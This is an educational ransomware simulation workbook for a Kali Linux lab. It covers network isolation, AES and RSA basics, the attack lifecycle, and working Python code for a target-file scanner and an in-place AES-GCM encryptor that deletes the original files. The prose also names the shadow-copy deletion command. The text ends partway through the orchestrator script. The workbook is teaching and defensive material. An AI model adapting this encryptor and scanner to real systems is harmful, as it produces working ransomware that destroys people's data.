Restricted Access

Ransomware Simulation Workbook

Enter the access code provided by your instructor to continue.

Safe Lab Environment · Educational Use Only

DELIGHT Cybersecurity Workbook Series

Ransomware
Simulation
Workbook

A self-paced, hands-on guide to understanding how ransomware works — from encryption fundamentals to incident response — designed for Kali Linux on VMware. Every command runs directly in your Kali terminal.

Skill Level
Intermediate–Advanced
Duration
10–14 Hours
Modules
12 Modules
Environment
Kali Linux on VMware
Language
Python 3.10+
⚠ Legal & Ethical Notice All exercises in this workbook are designed exclusively for educational purposes in an isolated, controlled lab environment. Never run any code from this workbook on production systems, real networks, or any machine without explicit written permission. Deploying ransomware or similar malware outside a designated lab environment is a criminal offence in most jurisdictions. By proceeding, you agree to use this material responsibly and ethically.

Contents

Module 01

Kali Linux Lab Setup & Safety

This workbook is written specifically for Kali Linux running inside VMware. Every command in every module runs directly in your Kali terminal — no Docker, no additional VMs, no cloud accounts needed. This section walks you through the complete one-time setup from a fresh Kali VM to a fully functional lab.

⚠ Do this before anything else
Take a VMware snapshot right now, before running any lab code. Name it clean-baseline. If anything goes wrong in any module, you can revert to this snapshot in seconds. This is your safety net for the entire workbook.

1.1 Why Kali on VMware is the Right Environment

🛡️

VMware Network Isolation

Set the network adapter to Host-Only and the VM cannot reach the internet or your real LAN. This replaces Docker's --network none flag.

📸

Snapshots

VMware snapshots let you revert the entire OS state in seconds. Take one before each module. You can never permanently break your lab.

🔧

Pre-installed Tools

Kali ships with wireshark, tcpdump, xxd, foremost, binwalk, strings, and Python 3.11+ out of the box. Most modules need zero additional installs.

🖥️

Multiple Terminals

Module 10 and 11 run scripts in parallel. Kali's desktop lets you tile terminal windows or use tmux for split panes — much easier than Docker exec sessions.

1.2 Step 1 — Isolate Your Network (Critical)

In VMware, go to VM → Settings → Network Adapter and change the connection type to Host-only. Click OK. Verify isolation immediately:

bash Kali Terminal — Verify network isolation
# This should FAIL — no internet = correct isolation
ping -c 3 8.8.8.8

# Expected output:
# ping: connect: Network is unreachable
# OR: 3 packets transmitted, 0 received, 100% packet loss

# Check your current IP (will be in 192.168.x.x range — host-only)
ip a show eth0
⚠ If ping succeeds — stop
Your VM is still connected to the internet. Do not proceed until the network adapter is set to Host-only in VMware settings and the ping above fails. Running lab code with internet access defeats the safety boundary.

1.3 Step 2 — One-Time Dependency Install

Run this entire block once. It installs every library and tool needed across all 12 modules. Copy the whole block, paste it into your Kali terminal, and press Enter.

bash Kali Terminal — Run once before starting any module
# ── Python libraries (all modules) ─────────────────────────────────
pip3 install cryptography psutil

# ── System tools (modules 06, 09, 10) ──────────────────────────────
sudo apt update -q
sudo apt install -y yara foremost binwalk tmux wireshark-common

# ── Verify everything installed correctly ──────────────────────────
python3 -c "
from cryptography.hazmat.primitives.ciphers.aead import AESGCM
from cryptography.hazmat.primitives.asymmetric import rsa
import psutil
print('✓ cryptography library OK')
print('✓ psutil library OK')
print(f'✓ Python {__import__(\"sys\").version.split()[0]}')
"

yara --version && echo "✓ YARA OK"
foremost -V 2>/dev/null | head -1 && echo "✓ foremost OK"
echo "✓ All dependencies ready — proceed to lab setup"

1.4 Step 3 — Create the Lab Directory Structure

All lab work lives under ~/lab/ in your home directory. This one command creates the full folder tree used by every module in the workbook.

bash Kali Terminal — Create lab folders
# Create the complete directory tree
mkdir -p ~/lab/{victims,keys,forensics}
mkdir -p ~/lab/attacker/{module_04,module_05,module_06,module_07,module_08,module_09,module_10,purple_team}

# Verify structure
tree ~/lab 2>/dev/null || find ~/lab -type d | sort

# Expected output:
# /home/kali/lab
# ├── attacker
# │   ├── module_04
# │   ├── module_05  ... etc
# ├── forensics
# ├── keys
# └── victims

1.5 Step 4 — Populate the Victim Directory

These dummy files are what the simulation will "encrypt." They must exist before you run any module 04+ exercises. Run this block to create them all at once.

bash Kali Terminal — Create dummy victim files
cd ~/lab/victims

# Plain text documents
for i in $(seq -w 1 10); do
  echo "Confidential document $i
Q3 Revenue: \$4.2M | Employees: 312 | Project Alpha: ACTIVE
Classification: INTERNAL — do not distribute" > doc_$i.txt
done

# CSV data files
echo "salary,name,department,hire_date
95000,Alice Chen,Engineering,2019-03-15
87000,Bob Okafor,Finance,2020-07-22
112000,Carol Singh,Management,2018-01-10
74000,Dave Lima,Sales,2021-11-30" > salary_2024.csv

echo "customer_id,name,email,spend_usd
1001,Acme Corp,billing@acme.com,45200
1002,Beta LLC,accounts@beta.io,12800" > customer_data.csv

# SQL backup file
echo "-- Database backup 2024-Q3
CREATE TABLE users (id INT, name VARCHAR(100), password_hash VARCHAR(64));
INSERT INTO users VALUES (1,'admin','5f4dcc3b5aa765d61d8327deb882cf99');
INSERT INTO users VALUES (2,'alice','d8578edf8458ce06fbc5bb76a58c5ca4');" > database_backup.sql

# Contract document
echo "SERVICE AGREEMENT — Contract #2024-Q3-447
Between: Acme Corp (Client) and TechSec Ltd (Provider)
Value: \$240,000 annually | Duration: 24 months
Signed: 2024-09-01" > contract_2024.txt

# Fake binary files (simulate jpg/pdf without needing real images)
python3 -c "import os; open('photo_001.jpg','wb').write(b'\xff\xd8\xff\xe0' + os.urandom(2048))"
python3 -c "import os; open('report_q3.pdf','wb').write(b'%PDF-1.4' + os.urandom(4096))"

# Canary files (for Module 07 — named alphabetically first)
echo "CANARY — DO NOT MODIFY — $(date)" > AAA_canary_alpha.txt
echo "CANARY — DO NOT MODIFY — $(date)" > AAA_canary_beta.txt

# Verify all files created
echo ""
echo "=== Victim directory contents ==="
ls -lh ~/lab/victims/
echo ""
echo "Total files: $(ls ~/lab/victims/ | wc -l)"

1.6 How to Save and Run Scripts From This Workbook

Every code block in this workbook shows a filename in the top-right corner of the code box — for example module_04/encryptor.py. That tells you exactly where to save the file. Here is the workflow you will repeat for every exercise:

Standard workflow for every exercise in this workbook
Step 1 — Open a text editor and create the file
  nano ~/lab/attacker/module_04/encryptor.py

Step 2 — Paste the code from the workbook
  Ctrl+Shift+V  to paste into the terminal
  Ctrl+X → Y → Enter  to save and exit nano

Step 3 — Navigate to the correct directory
  cd ~/lab/attacker/module_04/

Step 4 — Run the script
  python3 encryptor.py

Step 5 — Review output, complete the exercise reflection box

Step 6 — Before next module: take a VMware snapshot
  VM → Snapshot → Take Snapshot → name it "after-module-04"
Tip: Use a text editor with syntax highlighting
Kali includes mousepad (GUI text editor — open from the application menu) and gedit. For terminal editing, nano works perfectly. For longer scripts, open a file manager, navigate to ~/lab/attacker/, and create files there with mousepad. All three approaches work identically.

1.7 Setting Up tmux for Multi-Terminal Exercises

Modules 10 and 11 require two or three scripts running simultaneously. tmux splits your single terminal into panes — no need to open multiple windows.

bash tmux quick reference — you'll use this in Modules 10 and 11
# Start a named tmux session
tmux new-session -s lab

# Inside tmux — essential shortcuts:
# Ctrl+B then %     → split pane vertically (left/right)
# Ctrl+B then "     → split pane horizontally (top/bottom)
# Ctrl+B then →     → move to right pane
# Ctrl+B then ←     → move to left pane
# Ctrl+B then d     → detach session (session keeps running)
# tmux attach -t lab → reattach to lab session
# Ctrl+B then x     → kill current pane

# Quick 3-pane layout for Module 11 purple team exercise:
tmux new-session -s purpleteam \; \
  split-window -h \; \
  split-window -v \; \
  select-pane -t 0

# Result: left pane = blue monitor, top-right = C2 server, bottom-right = red team

1.8 Per-Module Dependency Reference

Everything below is already installed if you ran the one-time setup in section 1.3. This table is a quick reference if you need to reinstall or troubleshoot a specific module.

ModuleWhat You NeedInstall Command (if missing)Terminals
01 — Setupbash, treesudo apt install -y tree1
02 — Crypto Basicscryptographypip3 install cryptography1
03 — ArchitectureNone (theory)1
04 — Encryption Enginecryptographypip3 install cryptography1
05 — Key Managementcryptographypip3 install cryptography1
06 — Forensicsforemost, binwalk, xxdsudo apt install -y foremost binwalk1
07 — IR & Defencecryptographypip3 install cryptography2 (tmux)
08 — Evasionpsutilpip3 install psutil1
09 — YARA Rulesyarasudo apt install -y yara1
10 — Network / C2tcpdump, wireshark-commonsudo apt install -y wireshark-common2 (tmux)
11 — Purple TeamAll of the aboveRun 1.3 setup block3 (tmux)
12 — Case StudiesNone (analysis)1

1.9 Taking VMware Snapshots

Get into the habit of taking a snapshot before each module. If your encryption exercise corrupts the victim files unexpectedly, one click returns you to exactly where you started.

bash VMware snapshot workflow — GUI and CLI methods
# GUI method (easiest):
# VMware menu → VM → Snapshot → Take Snapshot
# Name: "before-module-04" → Click OK

# To restore a snapshot:
# VM → Snapshot → Snapshot Manager → select snapshot → Go To

# ──────────────────────────────────────────────────────────────────
# IMPORTANT: also reset victim files between module runs
# If you ran the encryptor and want a fresh start WITHOUT reverting:

# Delete encrypted files and rebuild victim directory
find ~/lab/victims/ -name "*.locked" -delete
find ~/lab/victims/ -name "ENCRYPTED_KEY.bin" -delete
find ~/lab/victims/ -name "README*" -delete

# Recreate fresh dummy files (re-run section 1.5 block)
bash ~/lab/reset_victims.sh   # after you save section 1.5 as this script
✓ Save the victim reset as a reusable script
Copy the entire victim creation block from section 1.5, save it as ~/lab/reset_victims.sh, and run chmod +x ~/lab/reset_victims.sh. Then between module runs you can reset the victim directory with a single command: bash ~/lab/reset_victims.sh.
Exercise 1.1

Full Environment Verification

Objective: Confirm your Kali VM is correctly isolated, all dependencies are installed, and the lab directory is ready before proceeding to any coding module.

  1. Take a snapshot

    In VMware: VM → Snapshot → Take Snapshot. Name it clean-baseline. Do not skip this.

  2. Verify network isolation

    Open a terminal. Run ping -c 2 8.8.8.8. Confirm it fails. If it succeeds, fix the VMware network adapter setting before continuing.

  3. Run the one-time setup

    Copy and paste the entire section 1.3 block into your terminal. Confirm all three ✓ lines print without errors.

  4. Create the lab structure

    Run the section 1.4 command and confirm the directory tree exists under ~/lab/.

  5. Populate victim files

    Run the section 1.5 block. Confirm ls -lh ~/lab/victims/ shows at least 15 files including AAA_canary_alpha.txt.

  6. Final checkpoint

    Run: python3 -c "from cryptography.hazmat.primitives.ciphers.aead import AESGCM; print('✓ Lab ready')". If it prints ✓ Lab ready, proceed to Module 02.

📝 Paste the output of python3 --version and yara --version here. Did the ping test fail as expected? How many files are in ~/lab/victims/?
Module 02

Cryptography Foundations

Modern ransomware is, at its core, a cryptography problem. To understand how ransomware works — and how to defeat it — you need a firm grasp of the cryptographic primitives it exploits. This module covers everything you need without a mathematics degree.

2.1 The Two Families of Encryption

🔑

Symmetric Encryption

One key does both encryption and decryption. Extremely fast. Used for bulk data. AES-256 is the gold standard.

🔐

Asymmetric Encryption

A key pair: public key encrypts, private key decrypts. Slower but solves key distribution. RSA-4096 or ECC is typical.

Ransomware typically combines both: symmetric AES for speed (it encrypts your files), and asymmetric RSA to protect the AES key (the attacker holds the RSA private key as leverage).

2.2 Key Cryptographic Algorithms Used in Ransomware

Algorithm Type Key Size Used For Breakable?
AES-256-CBC Symmetric 256-bit File content encryption No (practical)
AES-256-GCM Symmetric + AEAD 256-bit File encryption with integrity No (practical)
RSA-2048 Asymmetric 2048-bit Key encryption (wrapping AES key) Marginal (with effort)
RSA-4096 Asymmetric 4096-bit Key encryption — more robust No (practical)
ECC (P-256) Asymmetric 256-bit Modern ransomware key wrapping No (practical)
ChaCha20-Poly1305 Symmetric stream + AEAD 256-bit Mobile/ARM file encryption No (practical)
XOR cipher Symmetric Variable Loader obfuscation (not file enc.) Yes (trivially)

2.3 AES in Detail — What Happens Inside the Algorithm

AES (Advanced Encryption Standard) operates on 128-bit blocks of data. It applies a series of mathematical transformations — SubBytes, ShiftRows, MixColumns, and AddRoundKey — over multiple rounds (14 rounds for AES-256).

Key Concept: Block Modes
AES alone encrypts a single 128-bit block. To encrypt an entire file, you chain blocks together using a mode of operation. The mode matters enormously:
  • ECB (Electronic Codebook) — identical plaintext blocks produce identical ciphertext. Insecure — never use
  • CBC (Cipher Block Chaining) — XORs each block with the previous ciphertext. Needs an IV. Secure if IV is random
  • GCM (Galois/Counter Mode) — stream-mode with authentication tag. Detects tampering. Recommended
  • CTR (Counter Mode) — converts AES to a stream cipher. Fast, parallelisable. Good choice

2.4 Hands-On: Symmetric Encryption in Python

Before building the ransomware simulator, let's understand the primitives. Run this code in your Kali terminal and observe the output at each step.

python Save as: ~/lab/attacker/module_02/exercise_02a_aes_basics.py
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend
import os, base64

# ─── Step 1: Generate a cryptographically random 256-bit key ───
key = os.urandom(32)          # 32 bytes × 8 = 256 bits
iv  = os.urandom(16)          # AES block size is always 128 bits

print(f"Key (hex): {key.hex()}")
print(f"IV  (hex): {iv.hex()}")

# ─── Step 2: Encrypt a plaintext message ───
plaintext = b"CONFIDENTIAL: Q3 revenue = $4.2M"

# PKCS7 padding — pads to a multiple of 16 bytes
from cryptography.hazmat.primitives import padding
padder = padding.PKCS7(128).padder()
padded = padder.update(plaintext) + padder.finalize()

cipher = Cipher(algorithms.AES(key), modes.CBC(iv), backend=default_backend())
enc    = cipher.encryptor()
ciphertext = enc.update(padded) + enc.finalize()

print(f"\nPlaintext : {plaintext}")
print(f"Ciphertext: {base64.b64encode(ciphertext).decode()}")
print(f"Length    : {len(ciphertext)} bytes (from {len(plaintext)} bytes)")

# ─── Step 3: Decrypt using the same key + IV ───
dec       = Cipher(algorithms.AES(key), modes.CBC(iv), backend=default_backend()).decryptor()
padded_pt = dec.update(ciphertext) + dec.finalize()

unpadder  = padding.PKCS7(128).unpadder()
recovered = unpadder.update(padded_pt) + unpadder.finalize()

print(f"\nDecrypted : {recovered}")
print(f"Match     : {recovered == plaintext}")
Exercise 2.1

Exploring Encryption Properties

Objective: Observe how changing a single bit of the key, IV, or ciphertext affects decryption.

  1. Save and run the base script

    Save the code above as ~/lab/attacker/module_02/exercise_02a_aes_basics.py, then run cd ~/lab/attacker/module_02 && python3 exercise_02a_aes_basics.py. Note the ciphertext length.

  2. Flip one bit in the ciphertext

    Change a single byte of the ciphertext variable (e.g. ciphertext = bytes([ciphertext[0] ^ 1]) + ciphertext[1:]), then attempt decryption. What happens?

  3. Use a wrong IV

    Keep the key correct but supply iv = os.urandom(16) at decryption time. What is recovered?

  4. ECB mode experiment

    Replace modes.CBC(iv) with modes.ECB() and encrypt the string "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". Inspect the ciphertext — do you notice repeating blocks?

📝 What error did you see when you flipped a ciphertext byte? Why does CBC fail gracefully but leak different information than GCM would?

2.5 Asymmetric Encryption — RSA Key Pairs

python Save as: ~/lab/attacker/module_02/exercise_02b_rsa_keypair.py
from cryptography.hazmat.primitives.asymmetric import rsa, padding as asym_padding
from cryptography.hazmat.primitives import hashes, serialization
import os

# ─── Generate a 4096-bit RSA key pair ───
private_key = rsa.generate_private_key(
    public_exponent=65537,
    key_size=4096,
)
public_key = private_key.public_key()

# Serialize keys to PEM format (how they're saved to disk)
pem_private = private_key.private_bytes(
    encoding=serialization.Encoding.PEM,
    format=serialization.PrivateFormat.TraditionalOpenSSL,
    encryption_algorithm=serialization.NoEncryption()
)
pem_public = public_key.public_bytes(
    encoding=serialization.Encoding.PEM,
    format=serialization.PublicFormat.SubjectPublicKeyInfo
)

print("=== Public Key (safe to share) ===")
print(pem_public.decode())
print("=== Private Key (attacker keeps this!) ===")
print(pem_private.decode()[:200], "...")

# ─── Encrypt a small AES key with RSA (OAEP padding) ───
aes_key = os.urandom(32)     # This is the key that encrypts victim files

encrypted_aes_key = public_key.encrypt(
    aes_key,
    asym_padding.OAEP(
        mgf=asym_padding.MGF1(algorithm=hashes.SHA256()),
        algorithm=hashes.SHA256(),
        label=None
    )
)

print(f"\nOriginal AES key (32 bytes): {aes_key.hex()}")
print(f"RSA-encrypted key ({len(encrypted_aes_key)} bytes): {encrypted_aes_key.hex()[:64]}...")

# ─── Decrypt with private key (simulating attacker's decryptor) ───
recovered_aes_key = private_key.decrypt(
    encrypted_aes_key,
    asym_padding.OAEP(
        mgf=asym_padding.MGF1(algorithm=hashes.SHA256()),
        algorithm=hashes.SHA256(),
        label=None
    )
)

print(f"\nRecovered AES key: {recovered_aes_key.hex()}")
print(f"Keys match: {aes_key == recovered_aes_key}")

2.6 Interactive: Encryption Simulator

🔒 AES-256-GCM File Encryption Simulator

Type any text below and see it encrypted in real time using the Web Crypto API (AES-256-GCM). This is the same primitive ransomware uses on your files.

AES Key (auto-generated)
— click Encrypt to generate —
IV / Nonce (random per operation)
Ciphertext (Base64)

2.7 Knowledge Check

Q1. A ransomware sample uses RSA-4096 to encrypt each victim file directly. What is the primary drawback of this approach?

  • ARSA-4096 produces ciphertext that's too small to store.
  • BRSA is very slow for large data — encrypting a 4 GB file would take hours and is computationally impractical.
  • CRSA cannot encrypt binary files.
  • DThe victim can easily recover the file without a key.
RSA is a computationally intensive algorithm only suited for small payloads (hundreds of bytes). Modern ransomware uses a hybrid scheme: AES-256 for fast bulk file encryption, and RSA/ECC to encrypt only the small AES key. This combines the speed of symmetric crypto with the key-distribution safety of asymmetric crypto.

Q2. Why is a unique IV (Initialisation Vector) required for each file encrypted with the same AES key?

  • AA fixed IV makes the encryption faster.
  • BThe IV is only needed for RSA, not AES.
  • CRe-using an IV with the same key leaks information — identical plaintext blocks produce identical ciphertext, enabling pattern analysis.
  • DIVs are optional in CBC mode.
IV reuse is catastrophic. In CBC mode, if two files share the same key and IV, an analyst can XOR their ciphertexts to cancel the key and recover plaintext differences. In GCM mode, IV reuse is even worse — it completely breaks authentication and can expose the key. Professional ransomware always generates a fresh random IV per file and stores it alongside the ciphertext.
Module 03

Ransomware Architecture & Attack Lifecycle

Real-world ransomware is not a single script — it's a coordinated system with distinct components operating across multiple phases. Understanding the architecture tells you both how attacks succeed and where defenders can intervene.

3.1 The Seven Phases of a Ransomware Attack

Phase 1
Initial Access
Phishing email, RDP brute-force, VPN exploit, supply-chain compromise.
Phase 2
Execution
Payload drops and runs. Often via macros, PowerShell, or living-off-the-land binaries (LOLBins).
Phase 3
Persistence
Registry run keys, scheduled tasks, or service installation ensure re-execution after reboot.
Phase 4
Lateral Movement
Spread across the network via credential theft, pass-the-hash, or SMB exploits.
Phase 5
Exfiltration
Sensitive data stolen before encryption (for double-extortion leverage).
Phase 6
Encryption
Files encrypted; shadow copies and backups deleted. The core "ransomware" action.
Phase 7
Extortion
Ransom note displayed. Payment demanded in cryptocurrency (Monero or Bitcoin).

3.2 Component Architecture

Ransomware System Architecture (Conceptual)
┌─────────────────────────────────────────────────────────────────┐
│                      ATTACKER INFRASTRUCTURE                    │
│                                                                 │
│   ┌──────────────┐     ┌──────────────┐     ┌──────────────┐   │
│   │  C2 Server   │────▶│  Key Server  │     │  Payment     │   │
│   │  (Tor/VPS)   │     │  RSA keypair │     │  Portal      │   │
│   └──────┬───────┘     └──────────────┘     └──────────────┘   │
└──────────┼──────────────────────────────────────────────────────┘
           │ (encrypted comms / Tor)
           ▼
┌─────────────────────────────────────────────────────────────────┐
│                       VICTIM SYSTEM                             │
│                                                                 │
│   ┌──────────────────────────────────────────────────────────┐  │
│   │                    RANSOMWARE PAYLOAD                    │  │
│   │                                                          │  │
│   │  ┌────────────┐  ┌────────────┐  ┌────────────────────┐ │  │
│   │  │  Dropper   │  │   Recon    │  │  Crypto Engine     │ │  │
│   │  │ (loader)   │─▶│  Module    │─▶│  AES-256 per file  │ │  │
│   │  └────────────┘  └────────────┘  └─────────┬──────────┘ │  │
│   │                                            │             │  │
│   │  ┌────────────┐  ┌────────────┐  ┌────────▼──────────┐ │  │
│   │  │  Ransom    │  │  C2 Comms  │  │   Key Manager     │ │  │
│   │  │  Note Gen  │  │ (sends key)│◀─│  RSA-wrap AES key │ │  │
│   │  └────────────┘  └────────────┘  └───────────────────┘ │  │
│   └──────────────────────────────────────────────────────────┘  │
│                                                                 │
│   📁 /Documents  📁 /Desktop  📁 /Downloads  → 🔒 ENCRYPTED    │
└─────────────────────────────────────────────────────────────────┘

3.3 Key Management Flow in Modern Ransomware

This is the heart of why ransomware is so effective. The victim has everything needed except the attacker's private RSA key.

T+0: Payload Executes
Generate Master AES Key
Payload generates a cryptographically random 256-bit AES key in memory. This key is used to encrypt all victim files.
T+1: Key Protection
Encrypt AES Key with RSA Public Key
The attacker's RSA public key (embedded in the payload) wraps the AES key. The resulting blob is stored in a file like ENCRYPTED_KEY.bin. The plaintext AES key is then wiped from memory.
T+2: File Encryption
Encrypt All Target Files
The payload scans the filesystem for target extensions (.docx, .pdf, .jpg, .sql, etc.) and encrypts each with the AES key + a unique IV per file. Files are renamed to add .locked or similar extension.
T+3: Anti-Recovery
Delete Shadow Copies & Backups
VSS snapshots are deleted (vssadmin delete shadows /all). Backup folders are targeted. Recycle Bin is emptied.
T+4: Notification
Drop Ransom Note
An HTML or TXT ransom note is written to every encrypted directory. Wallpaper may be changed. A Tor payment URL is provided.
T+5: Payment / Decryption
Attacker Sends Decryptor
On payment, the attacker uses their RSA private key to decrypt ENCRYPTED_KEY.bin, recovering the AES key. They provide a decryptor tool with the key embedded.
⚠ Why you can't just brute-force the AES key
AES-256 has 2²⁵⁶ possible keys ≈ 10⁷⁷. Even if every atom in the observable universe were a computer checking a trillion keys per second since the Big Bang, you'd have checked a negligible fraction of the keyspace. The math is unambiguous: without the key, decryption without bugs is impossible.

3.4 Real-World Ransomware Families — Reference

FamilyFirst SeenEncryptionNotable Feature
WannaCry2017AES-128-CBC + RSA-2048EternalBlue SMB worm; killswitch domain
REvil / Sodinokibi2019AES-256-CTR + Curve25519RaaS model; double extortion
Ryuk2018AES-256 + RSA-4096Targeted enterprises; destroys backups
BlackCat / ALPHV2021AES-256 / ChaCha20 + RSAWritten in Rust; cross-platform (Linux/Windows)
LockBit 3.02022AES + RSA + ECC hybridFastest encryption speed; bug bounty program
CryptoLocker2013AES-256-CBC + RSA-2048Original modern ransomware blueprint
Module 04

Building a Safe File-Encryption Engine

You'll now build each component of the simulation incrementally, testing at each step. We use the cryptography library exclusively — no system calls, no network access, no shadow copy deletion. This is purely a study of the cryptographic mechanics.

📌 What You Are Building and Why

Module 04 has three Python scripts that work together. You must save and understand them in order before running anything:

  1. file_scanner.py — walks the victim directory, finds files matching target extensions, and returns a list of Path objects. This mimics what ransomware does in its reconnaissance phase.
  2. encryptor.py — takes a single file path and an AES key, encrypts the file in-place using AES-256-GCM, writes a custom binary header, and removes the original. It also contains the matching decrypt function.
  3. orchestrator.py — generates an AES key, calls file_scanner to find targets, loops through them calling encryptor, writes a forensic log, then waits for you to press Enter before decrypting everything back.
⚠ Take a VMware Snapshot Before Running Anything
Go to VM → Snapshot → Take Snapshot and name it "before-module-04". The orchestrator permanently deletes the original files in ~/lab/victims/ and replaces them with .locked versions. If the script fails midway (e.g. a typo in the code), some files will be encrypted and the rest will be gone. A snapshot restores everything in one click. Never skip this step before any module that modifies victim files.
✓ Safety Reminders for this Module
  • Work only inside ~/lab/victims/ — never change VICTIM_DIR to point at your real home directory or Desktop
  • All operations are reversible — the same key that encrypts is used to decrypt at the end of the script
  • Your VMware network adapter is Host-only — no data can leave the VM
  • If victim files get into a bad state, run bash ~/lab/reset_victims.sh or revert to your snapshot
📁 Save All Three Scripts to the Same Folder
All three scripts must live in ~/lab/attacker/module_04/ because orchestrator.py does from file_scanner import scan_targets and from encryptor import encrypt_file, decrypt_file. Python looks for those modules in the same directory as the script being run. If the files are in different folders, you will get a ModuleNotFoundError. Always run the orchestrator with:
cd ~/lab/attacker/module_04/ && python3 orchestrator.py

4.1 File Scanning — Identifying Target Files

The file scanner is the first component the simulated ransomware runs. Its job is simple: walk a directory tree and return a list of files whose extensions match a predefined target list. This is how real ransomware decides what to encrypt — it ignores system files (which would break the OS) and focuses on user-created data.

Pay attention to the SKIP_DIRS set. Real ransomware skips folders like Windows, Program Files, and System32 deliberately — encrypting those would make the machine unbootable, which defeats the purpose of demanding a ransom. Leaving the system functional but data inaccessible is the intended outcome.

python Save as: ~/lab/attacker/module_04/file_scanner.py
import os
from pathlib import Path
TARGET_EXTENSIONS = {
    '.txt', '.pdf', '.docx', '.xlsx',
    '.csv', '.jpg', '.png', '.sql',
}
SKIP_DIRS = {'System32', 'Windows', 'Program Files'}

def scan_targets(root_dir: str) -> list[Path]:
    """
    Walk the directory tree and return all target file paths.
    Skips already-encrypted files (.locked extension).
    """
    targets = []
    root = Path(root_dir)
    
    for path in root.rglob('*'):
        # Skip directories and already-encrypted files
        if not path.is_file():
            continue
        if path.suffix == '.locked':
            continue
        # Skip system directories
        if any(skip in path.parts for skip in SKIP_DIRS):
            continue
        if path.suffix.lower() in TARGET_EXTENSIONS:
            targets.append(path)
    
    return targets


if __name__ == '__main__':
    # SAFE: only scan our dummy victim directory
    victims = scan_targets(str(Path.home() / 'lab/victims'))
    print(f"Found {len(victims)} target files:")
    for f in victims:
        size = f.stat().st_size
        print(f"  {f.name:30s} {size:>8,} bytes")

4.2 The Encryption Engine

This is the most important script in the module. Read it carefully before saving it. Each function does exactly one thing — encrypt_file encrypts a single file and returns the path to the new .locked file; decrypt_file reverses the process.

The custom file header is the key concept here. When a file is encrypted, the original content is unrecoverable without knowing: (1) the AES key, and (2) the nonce (IV) used for that specific file. The nonce must be stored somewhere — and since it does not need to be secret, we embed it directly into the encrypted file using a custom binary header. This is exactly the pattern used by real ransomware families including WannaCry and LockBit.

The header layout is:

Encrypted file binary layout — every .locked file has this structure
Byte offset   Size      Contents
──────────────────────────────────────────────────────
0  – 3        4 bytes   Magic number: ASCII "LOCK" (0x4C 0x4F 0x43 0x4B)
                        → Identifies this as our encrypted format
4  – 7        4 bytes   Version number: 0x01 0x00 0x00 0x00 (little-endian)
                        → Allows future format changes without breaking old decryptors
8  – 19       12 bytes  GCM Nonce (randomly generated per file)
                        → CRITICAL: unique per encryption; stored here for decryption
20 – 23       4 bytes   Original file size (little-endian uint32)
                        → Used to strip any padding after decryption
24 – end      N bytes   AES-256-GCM ciphertext + 16-byte authentication tag
                        → The tag is appended by the library automatically

The 16-byte GCM authentication tag appended at the end is what makes GCM different from CBC. When you decrypt, GCM re-computes the tag and compares it. If the ciphertext was tampered with — even a single bit changed — the tag will not match and decrypt_file will raise an InvalidTag exception. This is why you will never get silently corrupted plaintext from GCM; you get an explicit error instead.

python Save as: ~/lab/attacker/module_04/encryptor.py
import os, json, struct
from pathlib import Path
from cryptography.hazmat.primitives.ciphers.aead import AESGCM

"""
FILE FORMAT after encryption:
┌─────────────────────────────────────────────┐
│  4 bytes  │ Magic number "LOCK"              │
│  4 bytes  │ Version (0x01)                  │
│ 12 bytes  │ GCM Nonce (IV)                  │
│  4 bytes  │ Original file size              │
│  N bytes  │ Ciphertext + 16-byte GCM tag    │
└─────────────────────────────────────────────┘
"""

MAGIC     = b'LOCK'
VERSION   = 1.to_bytes(4, 'little')

def encrypt_file(filepath: Path, aes_key: bytes) -> Path:
    """
    Encrypt a single file in-place using AES-256-GCM.
    Returns path to the new .locked file.
    Raises ValueError if file is already encrypted.
    """
    if filepath.suffix == '.locked':
        raise ValueError(f"File already encrypted: {filepath}")
    
    # Read original content
    plaintext     = filepath.read_bytes()
    original_size = len(plaintext)
    
    # Generate a fresh 96-bit (12-byte) nonce for GCM
    # CRITICAL: Never reuse a nonce with the same key
    nonce = os.urandom(12)
    
    # Encrypt using AES-256-GCM
    # Additional data binds the metadata to this ciphertext
    aesgcm     = AESGCM(aes_key)
    ciphertext = aesgcm.encrypt(nonce, plaintext, aad=None)
    
    # Build the encrypted file with our custom header
    header = (
        MAGIC +
        VERSION +
        nonce +
        struct.pack('<I', original_size)
    )
    
    # Write .locked file and remove original
    locked_path = filepath.with_suffix(filepath.suffix + '.locked')
    locked_path.write_bytes(header + ciphertext)
    filepath.unlink()   # Delete original (overwrite first in production)
    
    return locked_path


def decrypt_file(locked_path: Path, aes_key: bytes) -> Path:
    """
    Decrypt a .locked file. Verifies GCM authentication tag before
    returning plaintext. Raises InvalidTag if key is wrong.
    """
    raw = locked_path.read_bytes()
    
    # Parse our custom header
    if raw[:4] != MAGIC:
        raise ValueError("Not a LOCK-format encrypted file")
    
    nonce         = raw[8:20]
    original_size = struct.unpack('<I', raw[20:24])[0]
    ciphertext    = raw[24:]
    
    # Decrypt — GCM automatically verifies the auth tag
    aesgcm    = AESGCM(aes_key)
    plaintext = aesgcm.decrypt(nonce, ciphertext, aad=None)
    
    # Restore original filename and write
    original_path = locked_path.with_suffix('')   # removes .locked
    original_path.write_bytes(plaintext[:original_size])
    locked_path.unlink()
    
    return original_path

4.3 The Orchestrator — Encrypting All Victim Files

The orchestrator is the entry point — the only script you actually run directly. It coordinates the scanner and encryptor, handles errors gracefully so one bad file does not abort the whole run, and writes a detailed JSON log to ~/lab/forensics/encryption_log.json that you will analyse in Module 06.

Important — the key storage shortcut: In this module the AES key is temporarily saved in plaintext to ~/lab/keys/aes_key.bin. This is a deliberate lab simplification so you can safely decrypt everything at the end. In a real ransomware attack this never happens — the plaintext key is immediately wrapped with the attacker's RSA public key and wiped from memory. Module 05 adds that RSA layer. The comment in the code flags this distinction explicitly.

The pause before decryption: The input() call at the bottom of the script pauses and waits for you to press Enter before running the decryption phase. Use this window to inspect your work — run xxd ~/lab/victims/doc_01.txt.locked | head -3 to see the binary header, check ls ~/lab/victims/ to confirm the .locked extensions, and open the JSON log. Once you press Enter, all original files are restored and the .locked versions are deleted.

python Save as: ~/lab/attacker/module_04/orchestrator.py
import os, time, json
from pathlib import Path
from file_scanner import scan_targets
from encryptor import encrypt_file, decrypt_file

VICTIM_DIR  = str(Path.home() / 'lab/victims')
KEY_DIR     = str(Path.home() / 'lab/keys')
LOG_PATH    = Path.home() / 'lab/forensics/encryption_log.json'

def run_encryption_phase():
    """
    Main orchestration function.
    Demonstrates the attacker's perspective.
    """
    print("[*] Starting encryption phase...")
    
    # 1. Generate master AES key
    aes_key = os.urandom(32)
